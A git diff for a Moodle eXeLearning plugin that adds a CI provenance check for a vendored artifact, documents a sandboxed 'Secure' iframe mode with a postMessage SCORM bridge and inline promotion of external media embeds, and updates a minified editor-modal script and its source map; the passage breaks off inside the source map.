diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index f4373ee..12dcfb3 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -277,6 +277,22 @@ jobs:
       - name: Install dependencies
         run: npm ci
 
+      - name: Verify the vendored external-media artifact
+        # eXeLearning core is canonical (eXe ADR-2199-12): this repo holds the BYTES and
+        # verifies them against the manifest core published, rather than a copy of the
+        # logic that could drift. --build-hash makes it a PROVENANCE check and not merely
+        # an integrity one: without it a locally rebuilt-and-resigned copy would pass.
+        #
+        # If this fails, a vendored file was edited here. Fix it in eXeLearning core and
+        # re-vendor; a local patch is invisible upstream and is overwritten next time.
+        run: |
+          # The expected hash is PINNED HERE, deliberately, and not read from the vendored
+          # manifest. A hash taken from the copy under test cannot say anything about that
+          # copy: file, digest and buildHash can all be rewritten together, and a check that
+          # trusted them would pass a consistent forgery. This line is the out-of-band half.
+          # Bump it in the same commit that re-vendors the artifact.
+          node js/exe_external_media/verify.mjs js/exe_external_media --build-hash "43c776daa551fd770b6dade520629362e5a8ca8745e4245c359447c4689b34d6"
+
       - name: JS unit tests with coverage
         run: npx vitest run --coverage --reporter=default --reporter=junit --outputFile=junit-js.xml
 
diff --git a/.gitignore b/.gitignore
index a42a178..88e6968 100644
--- a/.gitignore
+++ b/.gitignore
@@ -29,4 +29,8 @@ node_modules/
 # JS test artifacts (Vitest)
 coverage/
 junit-js.xml
+
+# E2E artifacts (Playwright)
+test-results/
+playwright-report/
 .env
diff --git a/README.md b/README.md
index a6ca3ed..725a693 100644
--- a/README.md
+++ b/README.md
@@ -158,6 +158,39 @@ editor remains):
   enable/disable the uploaded and built-in styles, and optionally block users
   from importing styles bundled inside an `.elpx` — all on this page.
 * **xAPI**: master switch for the xAPI-primary grading channel.
+* **Package iframe security mode** (`iframemode`, default **Secure**): in _Secure_
+  mode the eXeLearning package runs in a sandboxed, **opaque-origin** iframe so its
+  JavaScript cannot read or modify the surrounding Moodle page, its cookies or the
+  session; SCORM scoring is relayed to Moodle over a validated `postMessage` bridge,
+  and the package is served via `tokenpluginfile.php` so its assets load without the
+  session cookie (which an opaque iframe never sends). The package only receives a
+  read-only file token — never the `sesskey` — so Secure is strictly safer than
+  Legacy. _Legacy_ keeps the previous same-origin behaviour as an opt-in fallback.
+  Secure mode is **never silently downgraded**: where it cannot render (e.g. a host
+  whose service worker can't serve an opaque iframe, such as a PHP-WASM playground), a
+  "blocked by security configuration" notice is shown instead of falling back to
+  Legacy. See
+  [DEC-80-01](./research/decisiones/adr/DEC-80-01-bridge-scorm-postmessage-origen-opaco.md)
+  and [DEC-80-02](./research/decisiones/adr/DEC-80-02-iframe-seguro-tokenpluginfile.md).
+
+### External embeds (YouTube/Vimeo/PDF) in Secure mode
+
+The opaque-origin sandbox also blanks **embedded YouTube/Vimeo players and PDFs** (the
+sandbox flag propagates to the nested player iframe, and browsers block their PDF viewer
+without `allow-same-origin`). So that authors can still use external media in Secure mode
+**without a separate subdomain**, those embeds are **promoted to the Moodle page and
+rendered inline**: a shim baked into the package (`js/exe_embed_shim.js`, self-activating
+only in the opaque origin) replaces each whitelisted-video / `.pdf` iframe with a
+placeholder and reports its geometry to the parent; a relay on the activity page
+(`js/exe_embed_relay.js`) validates + rebuilds the canonical URL and overlays the real
+player exactly over the placeholder. Local package PDFs always render; any `https` `.pdf`
+renders; a same-origin `.pdf` must belong to the package (served as `application/pdf`).
+This is independent of, and does not affect, the SCORM bridge. See
+[DEC-80-03](./research/decisiones/adr/DEC-80-03-embeds-externos-promote-to-parent.md).
+
+The mechanism has unit tests (`npm run test:js` — Vitest, incl. a SCORM-coexistence
+guard) and a cross-browser end-to-end test in Firefox (`npm run test:e2e:embed` —
+Playwright, loads the real shim/relay against an opaque-origin harness).
 
 ## The embedded editor is a release artifact
 
@@ -199,10 +232,18 @@ attempts, and delete attempts from the teacher report (the grade is
 recalculated). Completion can require a passing grade (SCORM-style, see
 [DEC-0-10](./research/decisiones/adr/DEC-0-10-finalizacion-estilo-scorm.md)).
 
-Grading runtime uses a SCORM 1.2 bridge: a small `window.API` shim installed by
-`view.php` accepts `LMSSetValue` calls from the iDevice's bundled pipwerks
-wrapper and forwards them to `track.php`, which calls Moodle's `grade_update()`.
-xAPI support via `core_xapi` is on the roadmap.
+Grading runtime uses a SCORM 1.2 bridge whose isolation depends on the **package
+iframe security mode**
+([DEC-80-01](./research/decisiones/adr/DEC-80-01-bridge-scorm-postmessage-origen-opaco.md)).
+In the default **Secure** mode the package runs in an opaque-origin sandboxed iframe
+served via `tokenpluginfile.php` (so its assets load without the session cookie): a
+`window.API` shim lives _inside_ the iframe and posts buffered scores to the Moodle page
+over a validated `postMessage` channel; the page (which holds the `sesskey`) forwards
+them to `track.php`, which calls Moodle's `grade_update()`. In **Legacy** mode the shim
+is installed by `view.php` in the same-origin parent and the iDevice's bundled pipwerks
+wrapper reaches it directly. See
+[DEC-80-02](./research/decisiones/adr/DEC-80-02-iframe-seguro-tokenpluginfile.md) for the
+secure serving + CSP hardening. xAPI support via `core_xapi` is on the roadmap.
 
 ## Web services (Mobile API)
 
diff --git a/amd/build/editor_modal.min.js b/amd/build/editor_modal.min.js
index adf760f..9ac01d2 100644
--- a/amd/build/editor_modal.min.js
+++ b/amd/build/editor_modal.min.js
@@ -1,3 +1,3 @@
-define("mod_exelearning/editor_modal",["exports","core/str","core/log"],(function(_exports,_str,_log){var obj;Object.defineProperty(_exports,"__esModule",{value:!0}),_exports.open=_exports.init=_exports.close=void 0,_log=(obj=_log)&&obj.__esModule?obj:{default:obj};let overlay=null,iframe=null,saveBtn=null,loadingModal=null,editorOrigin="*",openRequestSent=!1,openRequestId=null,exportRequestId=null,isSaving=!1,hasUnsavedChanges=!1,session=null,requestCounter=0,openAttemptCount=0,openResponseTimer=null;const nextRequestId=prefix=>(requestCounter+=1,"".concat(prefix,"-").concat(Date.now(),"-").concat(requestCounter)),refreshActivityIframe=revision=>{const activityIframe=document.getElementById("exelearningobject");if(!activityIframe||!activityIframe.src)return;const refreshedSrc=((url,revision)=>{if(!url||!revision)return url;const normalizedRevision=String(revision).replace(/[^0-9]/g,"");if(!normalizedRevision)return url;const updated=url.replace(/(\/mod_exelearning\/content\/)(\d+)(\/)/,"$1".concat(normalizedRevision,"$3"));if(updated===url)return url;const separator=updated.includes("?")?"&":"?";return"".concat(updated).concat(separator,"v=").concat(normalizedRevision,"-").concat(Date.now())})(activityIframe.src,revision);refreshedSrc&&refreshedSrc!==activityIframe.src&&(activityIframe.src=refreshedSrc)},setSaveLabel=async(key,fallback)=>{if(saveBtn)try{const text=await(0,_str.get_string)(key,"closebuttontitle"===key?"core":"mod_exelearning");saveBtn.innerHTML='<i class="fa fa-graduation-cap mr-1" aria-hidden="true"></i> '+text}catch{saveBtn.innerHTML='<i class="fa fa-graduation-cap mr-1" aria-hidden="true"></i> '+fallback}},showLoadingModal=async()=>{loadingModal||(loadingModal=await(async()=>{const modal=document.createElement("div");modal.className="exeweb-loading-modal",modal.id="exeweb-loading-modal";let savingText="Saving...",waitText="Please wait while the file is being saved.";try{savingText=await(0,_str.get_string)("saving","mod_exelearning"),waitText=await(0,_str.get_string)("savingwait","mod_exelearning")}catch{}return modal.innerHTML='\n        <div class="exeweb-loading-modal__content">\n            <div class="exeweb-loading-modal__spinner"></div>\n            <h3 class="exeweb-loading-modal__title">'.concat(savingText,'</h3>\n            <p class="exeweb-loading-modal__message">').concat(waitText,"</p>\n        </div>\n    "),document.body.appendChild(modal),modal})()),loadingModal.classList.add("is-visible")},hideLoadingModal=()=>{loadingModal&&loadingModal.classList.remove("is-visible")},removeLoadingModal=()=>{loadingModal&&(loadingModal.remove(),loadingModal=null)},postToEditor=(message,transfer)=>{var _iframe;null!==(_iframe=iframe)&&void 0!==_iframe&&_iframe.contentWindow&&(transfer&&transfer.length?iframe.contentWindow.postMessage(message,editorOrigin,transfer):iframe.contentWindow.postMessage(message,editorOrigin))},clearOpenResponseTimer=()=>{openResponseTimer&&(clearTimeout(openResponseTimer),openResponseTimer=null)},scheduleOpenRetry=()=>{openAttemptCount>=3||setTimeout((()=>{openInitialPackage()}),300*openAttemptCount)},setSavingState=async saving=>{isSaving=saving,saveBtn&&(saveBtn.disabled=saving,saving?(await setSaveLabel("saving","Saving..."),await showLoadingModal()):(await setSaveLabel("savetomoodle","Save to Moodle"),hideLoadingModal()))},openInitialPackage=async()=>{var _session,_session2;if((null===(_session=session)||void 0===_session||!_session.skipOpenFileOnInit)&&!openRequestSent&&null!==(_session2=session)&&void 0!==_session2&&_session2.packageUrl){openRequestSent=!0,openAttemptCount+=1;try{const response=await fetch(session.packageUrl,{credentials:"include"});if(!response.ok)throw new Error("HTTP ".concat(response.status,": ").concat(response.statusText));const bytes=await response.arrayBuffer();openRequestId=nextRequestId("open"),postToEditor({type:"OPEN_FILE",requestId:openRequestId,data:{bytes:bytes,filename:"package.elpx"}}),clearOpenResponseTimer(),openResponseTimer=setTimeout((()=>{openRequestSent&&(_log.default.error("[editor_modal] OPEN_FILE timeout waiting for response"),openRequestSent=!1,scheduleOpenRetry())}),3e3)}catch(error){_log.default.error("[editor_modal] Failed to open package:",error),openRequestSent=!1,scheduleOpenRetry()}}},uploadExportedFile=async payload=>{const bytes=null==payload?void 0:payload.bytes;if(!bytes)throw new Error("Missing export bytes");const filename=payload.filename||"package.elpx",mimeType=payload.mimeType||"application/zip",blob=new Blob([bytes],{type:mimeType}),formData=new FormData;formData.append("package",blob,filename),formData.append("format","elpx"),formData.append("cmid",String(session.cmid)),formData.append("sesskey",session.sesskey);const response=await fetch(session.saveUrl,{method:"POST",body:formData,credentials:"include"}),result=await response.json();if(!response.ok||null==result||!result.success)throw new Error((null==result?void 0:result.error)||"Save failed (".concat(response.status,")"));(newUrl=>{if(!newUrl||!session)return;session.packageUrl=newUrl;const selector='[data-action="mod_exelearning/editor-open"][data-cmid="'.concat(String(session.cmid),'"]'),openButton=document.querySelector(selector);null!=openButton&&openButton.dataset&&(openButton.dataset.packageurl=newUrl)})(((url,revision)=>{if(!url||!revision)return url;const normalizedRevision=String(revision).replace(/[^0-9]/g,"");if(!normalizedRevision)return url;const updated=url.replace(/(\/mod_exelearning\/package\/)(\d+)(\/)/,"$1".concat(normalizedRevision,"$3"));if(updated===url)return url;const separator=updated.includes("?")?"&":"?";return"".concat(updated).concat(separator,"v=").concat(normalizedRevision,"-").concat(Date.now())})(session.packageUrl,result.revision)),refreshActivityIframe(result.revision),hasUnsavedChanges=!1,await setSaveLabel("savedsuccess","Saved successfully"),close(!0),window.location.reload()},requestExport=async()=>{var _iframe2;!isSaving&&null!==(_iframe2=iframe)&&void 0!==_iframe2&&_iframe2.contentWindow&&(await setSavingState(!0),exportRequestId=nextRequestId("export"),postToEditor({type:"REQUEST_EXPORT",requestId:exportRequestId,data:{format:"elpx",filename:"package.elpx"}}))},isEditorBridgeMessage=event=>{var _iframe3;return!(null===(_iframe3=iframe)||void 0===_iframe3||!_iframe3.contentWindow||event.source!==iframe.contentWindow||!event.data)&&("*"===editorOrigin||event.origin===editorOrigin)},handleMessage=async event=>{await(async event=>{if(!isEditorBridgeMessage(event))return;const data=event.data;switch(data.type){case"EXELEARNING_READY":postToEditor({type:"CONFIGURE",requestId:nextRequestId("configure"),data:{hideUI:{fileMenu:!0,saveButton:!0,userMenu:!0}}}),openInitialPackage();break;case"DOCUMENT_LOADED":saveBtn&&!isSaving&&(saveBtn.disabled=!1);break;case"DOCUMENT_CHANGED":hasUnsavedChanges=!0;break;case"OPEN_FILE_SUCCESS":data.requestId===openRequestId&&saveBtn&&!isSaving&&(saveBtn.disabled=!1,openRequestSent=!1,openAttemptCount=0,clearOpenResponseTimer());break;case"OPEN_FILE_ERROR":data.requestId===openRequestId&&(_log.default.error("[editor_modal] OPEN_FILE_ERROR:",data.error),openRequestSent=!1,clearOpenResponseTimer(),scheduleOpenRetry());break;case"EXPORT_FILE":if(data.requestId===exportRequestId)try{await uploadExportedFile(data)}catch(error){_log.default.error("[editor_modal] Upload failed:",error),await setSavingState(!1)}break;case"REQUEST_EXPORT_ERROR":data.requestId===exportRequestId&&(_log.default.error("[editor_modal] REQUEST_EXPORT_ERROR:",data.error),await setSavingState(!1))}})(event),await(async event=>{var _data$data;if(!isEditorBridgeMessage(event))return;const data=event.data;if(data&&"exeweb-editor"===data.source){if("editor-ready"===data.type&&null!==(_data$data=data.data)&&void 0!==_data$data&&_data$data.packageUrl){var _session3;const incomingUrl=data.data.packageUrl;incomingUrl!==(null===(_session3=session)||void 0===_session3?void 0:_session3.packageUrl)&&(session.packageUrl=incomingUrl,openRequestSent=!1,openAttemptCount=0),openInitialPackage()}"request-save"===data.type&&await requestExport()}})(event)},handleKeydown=event=>{"Escape"===event.key&&close(!1)},close=async skipConfirm=>{if(!overlay)return;if(!skipConfirm){if(await(async()=>{if(!hasUnsavedChanges)return!1;let message="You have unsaved changes. Are you sure you want to close?";try{message=await(0,_str.get_string)("unsavedchanges","mod_exelearning")}catch{}return!window.confirm(message)})())return}const wasShowingLoader=isSaving||!0===skipConfirm;overlay.remove(),overlay=null,iframe=null,saveBtn=null,session=null,openRequestSent=!1,openRequestId=null,exportRequestId=null,isSaving=!1,hasUnsavedChanges=!1,openAttemptCount=0,clearOpenResponseTimer(),document.body.style.overflow="",window.removeEventListener("message",handleMessage),document.removeEventListener("keydown",handleKeydown),wasShowingLoader?setTimeout((()=>{hideLoadingModal(),removeLoadingModal()}),1500):(hideLoadingModal(),removeLoadingModal())};_exports.close=close;const open=async(cmid,editorUrl,activityName,packageUrl,saveUrl,sesskey)=>{if(_log.default.debug("[editor_modal] Opening editor for cmid:",cmid),overlay)return;editorOrigin=(url=>{try{return new URL(url,window.location.href).origin}catch{return"*"}})(editorUrl),openAttemptCount=0,session={cmid:cmid,editorUrl:editorUrl,packageUrl:packageUrl||"",skipOpenFileOnInit:!!packageUrl,saveUrl:saveUrl,sesskey:sesskey},overlay=document.createElement("div"),overlay.id="exeweb-editor-overlay",overlay.className="exeweb-editor-overlay";const header=document.createElement("div");header.className="exeweb-editor-header";const title=document.createElement("span");title.className="exeweb-editor-title",title.textContent=activityName||"",header.appendChild(title);const buttonGroup=document.createElement("div");buttonGroup.className="exeweb-editor-buttons",saveBtn=document.createElement("button"),saveBtn.className="btn btn-primary mr-2",saveBtn.id="exeweb-editor-save",saveBtn.disabled=!0,await setSaveLabel("savetomoodle","Save to Moodle"),saveBtn.addEventListener("click",requestExport);const closeBtn=document.createElement("button");closeBtn.className="btn btn-secondary",closeBtn.id="exeweb-editor-close";try{closeBtn.textContent=await(0,_str.get_string)("closebuttontitle","core")}catch{closeBtn.textContent="Close"}closeBtn.addEventListener("click",(()=>close(!1))),buttonGroup.appendChild(saveBtn),buttonGroup.appendChild(closeBtn),header.appendChild(buttonGroup),overlay.appendChild(header),iframe=document.createElement("iframe"),iframe.className="exeweb-editor-iframe",iframe.src=editorUrl,iframe.setAttribute("allow","fullscreen"),iframe.setAttribute("frameborder","0"),iframe.addEventListener("load",(()=>{var _session4;!openRequestSent&&null!==(_session4=session)&&void 0!==_session4&&_session4.packageUrl&&openInitialPackage()})),overlay.appendChild(iframe),document.body.appendChild(overlay),document.body.style.overflow="hidden",window.addEventListener("message",handleMessage),document.addEventListener("keydown",handleKeydown)};_exports.open=open;_exports.init=()=>{document.addEventListener("click",(event=>{const button=event.target.closest('[data-action="mod_exelearning/editor-open"]');button&&(event.preventDefault(),open(button.dataset.cmid,button.dataset.editorurl,button.dataset.activityname,button.dataset.packageurl,button.dataset.saveurl,button.dataset.sesskey))}))}}));
+define("mod_exelearning/editor_modal",["exports","core/str","core/log"],(function(_exports,_str,_log){var obj;Object.defineProperty(_exports,"__esModule",{value:!0}),_exports.open=_exports.init=_exports.close=void 0,_log=(obj=_log)&&obj.__esModule?obj:{default:obj};let overlay=null,iframe=null,saveBtn=null,loadingModal=null,editorOrigin="*",openRequestSent=!1,openRequestId=null,exportRequestId=null,isSaving=!1,hasUnsavedChanges=!1,session=null,requestCounter=0,openAttemptCount=0,openResponseTimer=null;const nextRequestId=prefix=>(requestCounter+=1,"".concat(prefix,"-").concat(Date.now(),"-").concat(requestCounter)),refreshActivityIframe=revision=>{const activityIframe=document.getElementById("exelearningobject");if(!activityIframe||!activityIframe.src)return;const refreshedSrc=((url,revision)=>{if(!url||!revision)return url;const normalizedRevision=String(revision).replace(/[^0-9]/g,"");if(!normalizedRevision)return url;const updated=url.replace(/(\/mod_exelearning\/content\/)(\d+)(\/)/,"$1".concat(normalizedRevision,"$3"));if(updated===url)return url;const separator=updated.includes("?")?"&":"?";return"".concat(updated).concat(separator,"v=").concat(normalizedRevision,"-").concat(Date.now())})(activityIframe.src,revision);refreshedSrc&&refreshedSrc!==activityIframe.src&&(activityIframe.src=refreshedSrc)},setSaveLabel=async(key,fallback)=>{if(saveBtn)try{const text=await(0,_str.get_string)(key,"closebuttontitle"===key?"core":"mod_exelearning");saveBtn.innerHTML='<i class="fa fa-graduation-cap mr-1" aria-hidden="true"></i> '+text}catch{saveBtn.innerHTML='<i class="fa fa-graduation-cap mr-1" aria-hidden="true"></i> '+fallback}},showLoadingModal=async()=>{loadingModal||(loadingModal=await(async()=>{const modal=document.createElement("div");modal.className="exeweb-loading-modal",modal.id="exeweb-loading-modal";let savingText="Saving...",waitText="Please wait while the file is being saved.";try{savingText=await(0,_str.get_string)("saving","mod_exelearning"),waitText=await(0,_str.get_string)("savingwait","mod_exelearning")}catch{}return modal.innerHTML='\n        <div class="exeweb-loading-modal__content">\n            <div class="exeweb-loading-modal__spinner"></div>\n            <h3 class="exeweb-loading-modal__title">'.concat(savingText,'</h3>\n            <p class="exeweb-loading-modal__message">').concat(waitText,"</p>\n        </div>\n    "),document.body.appendChild(modal),modal})()),loadingModal.classList.add("is-visible")},hideLoadingModal=()=>{loadingModal&&loadingModal.classList.remove("is-visible")},removeLoadingModal=()=>{loadingModal&&(loadingModal.remove(),loadingModal=null)},postToEditor=(message,transfer)=>{var _iframe;null!==(_iframe=iframe)&&void 0!==_iframe&&_iframe.contentWindow&&(transfer&&transfer.length?iframe.contentWindow.postMessage(message,editorOrigin,transfer):iframe.contentWindow.postMessage(message,editorOrigin))},clearOpenResponseTimer=()=>{openResponseTimer&&(clearTimeout(openResponseTimer),openResponseTimer=null)},scheduleOpenRetry=()=>{openAttemptCount>=3||setTimeout((()=>{openInitialPackage()}),300*openAttemptCount)},setSavingState=async saving=>{isSaving=saving,saveBtn&&(saveBtn.disabled=saving,saving?(await setSaveLabel("saving","Saving..."),await showLoadingModal()):(await setSaveLabel("savetomoodle","Save to Moodle"),hideLoadingModal()))},openInitialPackage=async()=>{var _session,_session2;if((null===(_session=session)||void 0===_session||!_session.skipOpenFileOnInit)&&!openRequestSent&&null!==(_session2=session)&&void 0!==_session2&&_session2.packageUrl){openRequestSent=!0,openAttemptCount+=1;try{const response=await fetch(session.packageUrl,{credentials:"include"});if(!response.ok)throw new Error("HTTP ".concat(response.status,": ").concat(response.statusText));const bytes=await response.arrayBuffer();openRequestId=nextRequestId("open"),postToEditor({type:"OPEN_FILE",requestId:openRequestId,data:{bytes:bytes,filename:"package.elpx"}}),clearOpenResponseTimer(),openResponseTimer=setTimeout((()=>{openRequestSent&&(_log.default.error("[editor_modal] OPEN_FILE timeout waiting for response"),openRequestSent=!1,scheduleOpenRetry())}),3e3)}catch(error){_log.default.error("[editor_modal] Failed to open package:",error),openRequestSent=!1,scheduleOpenRetry()}}},uploadExportedFile=async payload=>{const bytes=null==payload?void 0:payload.bytes;if(!bytes)throw new Error("Missing export bytes");const filename=payload.filename||"package.elpx",mimeType=payload.mimeType||"application/zip",blob=new Blob([bytes],{type:mimeType}),formData=new FormData;formData.append("package",blob,filename),formData.append("format","elpx"),formData.append("cmid",String(session.cmid)),formData.append("sesskey",session.sesskey);const response=await fetch(session.saveUrl,{method:"POST",body:formData,credentials:"include"}),result=await response.json();if(!response.ok||null==result||!result.success)throw new Error((null==result?void 0:result.error)||"Save failed (".concat(response.status,")"));(newUrl=>{if(!newUrl||!session)return;session.packageUrl=newUrl;const selector='[data-action="mod_exelearning/editor-open"][data-cmid="'.concat(String(session.cmid),'"]'),openButton=document.querySelector(selector);null!=openButton&&openButton.dataset&&(openButton.dataset.packageurl=newUrl)})(((url,revision)=>{if(!url||!revision)return url;const normalizedRevision=String(revision).replace(/[^0-9]/g,"");if(!normalizedRevision)return url;const updated=url.replace(/(\/mod_exelearning\/package\/)(\d+)(\/)/,"$1".concat(normalizedRevision,"$3"));if(updated===url)return url;const separator=updated.includes("?")?"&":"?";return"".concat(updated).concat(separator,"v=").concat(normalizedRevision,"-").concat(Date.now())})(session.packageUrl,result.revision)),refreshActivityIframe(result.revision),hasUnsavedChanges=!1,await setSaveLabel("savedsuccess","Saved successfully"),close(!0),window.location.reload()},requestExport=async()=>{var _iframe2;!isSaving&&null!==(_iframe2=iframe)&&void 0!==_iframe2&&_iframe2.contentWindow&&(await setSavingState(!0),exportRequestId=nextRequestId("export"),postToEditor({type:"REQUEST_EXPORT",requestId:exportRequestId,data:{format:"elpx",filename:"package.elpx"}}))},isEditorBridgeMessage=event=>{var _iframe3;return!(null===(_iframe3=iframe)||void 0===_iframe3||!_iframe3.contentWindow||event.source!==iframe.contentWindow||!event.data)&&("*"===editorOrigin||event.origin===editorOrigin)},handleMessage=async event=>{await(async event=>{if(!isEditorBridgeMessage(event))return;const data=event.data;switch(data.type){case"EXELEARNING_READY":postToEditor({type:"CONFIGURE",requestId:nextRequestId("configure"),data:{hideUI:{fileMenu:!0,saveButton:!0,userMenu:!0}}}),openInitialPackage();break;case"DOCUMENT_LOADED":saveBtn&&!isSaving&&(saveBtn.disabled=!1);break;case"DOCUMENT_CHANGED":hasUnsavedChanges=!0;break;case"OPEN_FILE_SUCCESS":data.requestId===openRequestId&&saveBtn&&!isSaving&&(saveBtn.disabled=!1,openRequestSent=!1,openAttemptCount=0,clearOpenResponseTimer());break;case"OPEN_FILE_ERROR":data.requestId===openRequestId&&(_log.default.error("[editor_modal] OPEN_FILE_ERROR:",data.error),openRequestSent=!1,clearOpenResponseTimer(),scheduleOpenRetry());break;case"EXPORT_FILE":if(data.requestId===exportRequestId)try{await uploadExportedFile(data)}catch(error){_log.default.error("[editor_modal] Upload failed:",error),await setSavingState(!1)}break;case"REQUEST_EXPORT_ERROR":data.requestId===exportRequestId&&(_log.default.error("[editor_modal] REQUEST_EXPORT_ERROR:",data.error),await setSavingState(!1))}})(event),await(async event=>{var _data$data;if(!isEditorBridgeMessage(event))return;const data=event.data;if(data&&"exeweb-editor"===data.source){if("editor-ready"===data.type&&null!==(_data$data=data.data)&&void 0!==_data$data&&_data$data.packageUrl){var _session3;const incomingUrl=data.data.packageUrl;incomingUrl!==(null===(_session3=session)||void 0===_session3?void 0:_session3.packageUrl)&&(session.packageUrl=incomingUrl,openRequestSent=!1,openAttemptCount=0),openInitialPackage()}"request-save"===data.type&&await requestExport()}})(event)},handleKeydown=event=>{"Escape"===event.key&&close(!1)},close=async skipConfirm=>{if(!overlay)return;if(!skipConfirm){if(await(async()=>{if(!hasUnsavedChanges)return!1;let message="You have unsaved changes. Are you sure you want to close?";try{message=await(0,_str.get_string)("unsavedchanges","mod_exelearning")}catch{}return!window.confirm(message)})())return}const wasShowingLoader=isSaving||!0===skipConfirm;overlay.remove(),overlay=null,iframe=null,saveBtn=null,session=null,openRequestSent=!1,openRequestId=null,exportRequestId=null,isSaving=!1,hasUnsavedChanges=!1,openAttemptCount=0,clearOpenResponseTimer(),document.body.style.overflow="",window.removeEventListener("message",handleMessage),document.removeEventListener("keydown",handleKeydown),wasShowingLoader?setTimeout((()=>{hideLoadingModal(),removeLoadingModal()}),1500):(hideLoadingModal(),removeLoadingModal())};_exports.close=close;const open=async(cmid,editorUrl,activityName,packageUrl,saveUrl,sesskey)=>{if(_log.default.debug("[editor_modal] Opening editor for cmid:",cmid),overlay)return;window.exeMediaHost&&"function"==typeof window.exeMediaHost.closeAll&&window.exeMediaHost.closeAll(),editorOrigin=(url=>{try{return new URL(url,window.location.href).origin}catch{return"*"}})(editorUrl),openAttemptCount=0,session={cmid:cmid,editorUrl:editorUrl,packageUrl:packageUrl||"",skipOpenFileOnInit:!!packageUrl,saveUrl:saveUrl,sesskey:sesskey},overlay=document.createElement("div"),overlay.id="exeweb-editor-overlay",overlay.className="exeweb-editor-overlay";const header=document.createElement("div");header.className="exeweb-editor-header";const title=document.createElement("span");title.className="exeweb-editor-title",title.textContent=activityName||"",header.appendChild(title);const buttonGroup=document.createElement("div");buttonGroup.className="exeweb-editor-buttons",saveBtn=document.createElement("button"),saveBtn.className="btn btn-primary mr-2",saveBtn.id="exeweb-editor-save",saveBtn.disabled=!0,await setSaveLabel("savetomoodle","Save to Moodle"),saveBtn.addEventListener("click",requestExport);const closeBtn=document.createElement("button");closeBtn.className="btn btn-secondary",closeBtn.id="exeweb-editor-close";try{closeBtn.textContent=await(0,_str.get_string)("closebuttontitle","core")}catch{closeBtn.textContent="Close"}closeBtn.addEventListener("click",(()=>close(!1))),buttonGroup.appendChild(saveBtn),buttonGroup.appendChild(closeBtn),header.appendChild(buttonGroup),overlay.appendChild(header),iframe=document.createElement("iframe"),iframe.className="exeweb-editor-iframe",iframe.src=editorUrl,iframe.setAttribute("allow","fullscreen"),iframe.setAttribute("frameborder","0"),iframe.addEventListener("load",(()=>{var _session4;!openRequestSent&&null!==(_session4=session)&&void 0!==_session4&&_session4.packageUrl&&openInitialPackage()})),overlay.appendChild(iframe),document.body.appendChild(overlay),document.body.style.overflow="hidden",window.addEventListener("message",handleMessage),document.addEventListener("keydown",handleKeydown)};_exports.open=open;_exports.init=()=>{document.addEventListener("click",(event=>{const button=event.target.closest('[data-action="mod_exelearning/editor-open"]');button&&(event.preventDefault(),open(button.dataset.cmid,button.dataset.editorurl,button.dataset.activityname,button.dataset.packageurl,button.dataset.saveurl,button.dataset.sesskey))}))}}));
 
 //# sourceMappingURL=editor_modal.min.js.map
\ No newline at end of file
diff --git a/amd/build/editor_modal.min.js.map b/amd/build/editor_modal.min.js.map
index f476c36..38f584f 100644
--- a/amd/build/editor_modal.min.js.map
+++ b/amd/build/editor_modal.min.js.map
@@ -1 +1 @@
-{"version":3,"file":"editor_modal.min.js","sources":["../src/editor_modal.js"],"sourcesContent":["// This file is part of Moodle - http://moodle.org/\n\nimport {get_string as getString} from 'core/str';\nimport Log from 'core/log';\n\nlet overlay = null;\nlet iframe = null;\nlet saveBtn = null;\nlet loadingModal = null;\nlet editorOrigin = '*';\nlet openRequestSent = false;\nlet openRequestId = null;\nlet exportRequestId = null;\nlet isSaving = false;\nlet hasUnsavedChanges = false;\nlet session = null;\nlet requestCounter = 0;\nlet openAttemptCount = 0;\nlet openResponseTimer = null;\n\nconst MAX_OPEN_ATTEMPTS = 3;\nconst OPEN_RESPONSE_TIMEOUT_MS = 3000;\nconst FIXED_EXPORT_FORMAT = 'elpx';\n\n/**\n * Resolve the origin of a URL, falling back to a wildcard on failure.\n *\n * @param {string} url The URL to inspect.\n * @returns {string} The resolved origin, or '*' if it cannot be parsed.\n */\nconst getOrigin = (url) => {\n    try {\n        return new URL(url, window.location.href).origin;\n    } catch {\n        return '*';\n    }\n};\n\n/**\n * Generate a unique request identifier for bridge messages.\n *\n * @param {string} prefix A prefix describing the request type.\n * @returns {string} A unique request identifier.\n */\nconst nextRequestId = (prefix) => {\n    requestCounter += 1;\n    return `${prefix}-${Date.now()}-${requestCounter}`;\n};\n\n/**\n * Rewrite the revision segment of a package URL and add a cache buster.\n *\n * @param {string} url The original package URL.\n * @param {number|string} revision The new revision number.\n * @returns {string} The updated URL, or the original if it cannot be rewritten.\n */\nconst updatePackageUrlRevision = (url, revision) => {\n    if (!url || !revision) {\n        return url;\n    }\n    const normalizedRevision = String(revision).replace(/[^0-9]/g, '');\n    if (!normalizedRevision) {\n        return url;\n    }\n    const updated = url.replace(/(\\/mod_exelearning\\/package\\/)(\\d+)(\\/)/, `$1${normalizedRevision}$3`);\n    if (updated === url) {\n        return url;\n    }\n    const separator = updated.includes('?') ? '&' : '?';\n    return `${updated}${separator}v=${normalizedRevision}-${Date.now()}`;\n};\n\n/**\n * Persist an updated package URL on the session and the open button dataset.\n *\n * @param {string} newUrl The new package URL to store.\n * @returns {void}\n */\nconst persistUpdatedPackageUrl = (newUrl) => {\n    if (!newUrl || !session) {\n        return;\n    }\n    session.packageUrl = newUrl;\n    const selector = `[data-action=\"mod_exelearning/editor-open\"][data-cmid=\"${String(session.cmid)}\"]`;\n    const openButton = document.querySelector(selector);\n    if (openButton?.dataset) {\n        openButton.dataset.packageurl = newUrl;\n    }\n};\n\n/**\n * Rewrite the revision segment of a content URL and add a cache buster.\n *\n * @param {string} url The original content URL.\n * @param {number|string} revision The new revision number.\n * @returns {string} The updated URL, or the original if it cannot be rewritten.\n */\nconst updateContentUrlRevision = (url, revision) => {\n    if (!url || !revision) {\n        return url;\n    }\n    const normalizedRevision = String(revision).replace(/[^0-9]/g, '');\n    if (!normalizedRevision) {\n        return url;\n    }\n    const updated = url.replace(/(\\/mod_exelearning\\/content\\/)(\\d+)(\\/)/, `$1${normalizedRevision}$3`);\n    if (updated === url) {\n        return url;\n    }\n    const separator = updated.includes('?') ? '&' : '?';\n    return `${updated}${separator}v=${normalizedRevision}-${Date.now()}`;\n};\n\n/**\n * Refresh the activity content iframe so it points at the new revision.\n *\n * @param {number|string} revision The new revision number.\n * @returns {void}\n */\nconst refreshActivityIframe = (revision) => {\n    const activityIframe = document.getElementById('exelearningobject');\n    if (!activityIframe || !activityIframe.src) {\n        return;\n    }\n    const refreshedSrc = 